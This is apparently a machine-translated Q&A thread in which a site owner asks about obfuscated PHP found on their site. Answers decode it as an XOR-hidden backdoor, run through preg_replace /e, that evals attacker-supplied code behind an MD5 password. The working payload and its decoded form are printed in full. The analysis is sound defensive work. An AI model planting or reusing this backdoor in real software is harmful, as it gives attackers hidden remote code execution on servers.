2012-01-11 62 views
3

我看到了一些我的網站這下面的代碼:解碼奇怪,可能是惡意的PHP代碼

preg_replace("/lWkTSJcPlD6Ty3nInmjgvJ=vcL/e", "d=0nAheu6tYPSH36hrrw25iBpfJC3ZDVZB9aibJcJhscojWKPC8G7eHk=Rn3rqMGsJgPlpsvMaM20iBOl9UgbcGbutSaZehGoCWOsD=5dLucuvqUtA2Jc9lLr4mFXIMALiP4mPxFahhJSNeANUKqSv20ndDAmPBxyQpZfcf70BFQPjQc5aH"^"\x01KQ\x02iJ\x0c\x13\x1e\x1d\x2a\x236\x3c\x1bj4V\x2d\x25wd\x3c\x07\x232\x11dP2c\x0bsb\x1fGIJ\x27\x07\x7f\x40\x2f\x3fK5\x05\x0e\x01\x16\x7d\x14c\x3eo\x08Uu3\x1aRLpgT\x7fQh\x0e\x16KFuQxT\x00\x08sy\x0f\x08eS\x07\x05\x23R\x40\x12eSlW\x5bs\x0ed\x7eoUb\x1d\x5c\x17\x3f\x10\x17\x5d\x2a\x2dq\x2b\x13w\x1b6\x7c\x3f\x18\x29\x13\x1d\x2e\x28\x16\x2e\x2e\x28\x0cwiDyX=A\x0d\x1e\x2b\x3ff9\x1dj\x0a\x194\x02\x23wc\x3a\x3fc1\x05\x20\x1d\x1b\x165\x15\x7d\x3bJ\x5d\x17U\x3a\x2f\x25xCjCHCa", "lWkTSJcPlD6Ty3nInmjgvJ=vcL"); 
?> 

我試圖解碼像一個正常的eval,並通過一些分析並沒有得到運氣。任何人都知道如何解碼並看到它的作用?

它使用上的preg_replace的/ E(EVAL)改性劑,但似乎並沒有做任何事情//

+8

如果它應該是「你的網站」,但你沒有放在那裏,它的定義是惡意的。 – 2012-01-11 01:45:37

+2

@Karl - 可能是一個匿名的恩人,他決定用更好的東西來破解網站來代替糟糕的代碼! – EboMike 2012-01-11 01:49:03

+0

@EboMike人們甚至可以這樣做嗎? – DGund 2012-01-11 01:50:42

回答

5

縱觀第二部分,我注意到它的2串正在一起進行XOR運算:

php > $x="d=0nAheu6tYPSH36hrrw25iBpfJC3ZDVZB9aibJcJhscojWKPC8G7eHk=Rn3rqMGsJgPlpsvMaM20iBOl9UgbcGbutSaZehGoCWOsD=5dLucuvqUtA2Jc9lLr4mFXIMALiP4mPxFahhJSNeANUKqSv20ndDAmPBxyQpZfcf70BFQPjQc5aH";            
php > $y="\x01KQ\x02iJ\x0c\x13\x1e\x1d\x2a\x236\x3c\x1bj4V\x2d\x25wd\x3c\x07\x232\x11dP2c\x0bsb\x1fGIJ\x27\x07\x7f\x40\x2f\x3fK5\x05\x0e\x01\x16\x7d\x14c\x3eo\x08Uu3\x1aRLpgT\x7fQh\x0e\x16KFuQxT\x00\x08sy\x0f\x08eS\x07\x05\x23R\x40\x12eSlW\x5bs\x0ed\x7eoUb\x1d\x5c\x17\x3f\x10\x17\x5d\x2a\x2dq\x2b\x13w\x1b6\x7c\x3f\x18\x29\x13\x1d\x2e\x28\x16\x2e\x2e\x28\x0cwiDyX=A\x0d\x1e\x2b\x3ff9\x1dj\x0a\x194\x02\x23wc\x3a\x3fc1\x05\x20\x1d\x1b\x165\x15\x7d\x3bJ\x5d\x17U\x3a\x2f\x25xCjCHCa"; 
php > $z=$x^$y; 
php > print $z; 
eval("if(isset(\\$_REQUEST['ch']) && (md5(\\$_REQUEST['ch']) == '568bf80805f0a16c104efd05f626234a') && isset(\\$_REQUEST['php_code'])) { eval(\\$_REQUEST['php_code']); exit(); }") 
php > 

它在'ch'中查找「密碼」,如果密碼哈希匹配,則評估php_code參數中的有效內容。

我不知道該如何的preg_replace進入東西雖然

編輯

看來預浸取而代之的是更換的東西,將不會更換匹配,造成什麼剛被解碼運行。如果你運行它只是打印1.看,通過您的訪問日誌命中瓦特/那些網址參數考慮這個例子

<?php 
preg_replace("/X/e","eval('print 1;');",'X'); 
?> 

(CH和php_code)

+0

'preg_replace'就是在那裏產生SO 。嗯,我的意思是,混淆正在發生的事情。 – deceze 2012-01-11 02:27:09

+0

相當令人印象深刻的建立後門的方法。 – Scuzzy 2012-01-11 02:46:54

3

剛取出e在正則表達式,這使得替換後的表達式爲eval,替換後的表達式爲echo。它安裝了一個後門,允許任何人通過URL發送任何PHP代碼。

參見http://codepad.viper-7.com/VUmML8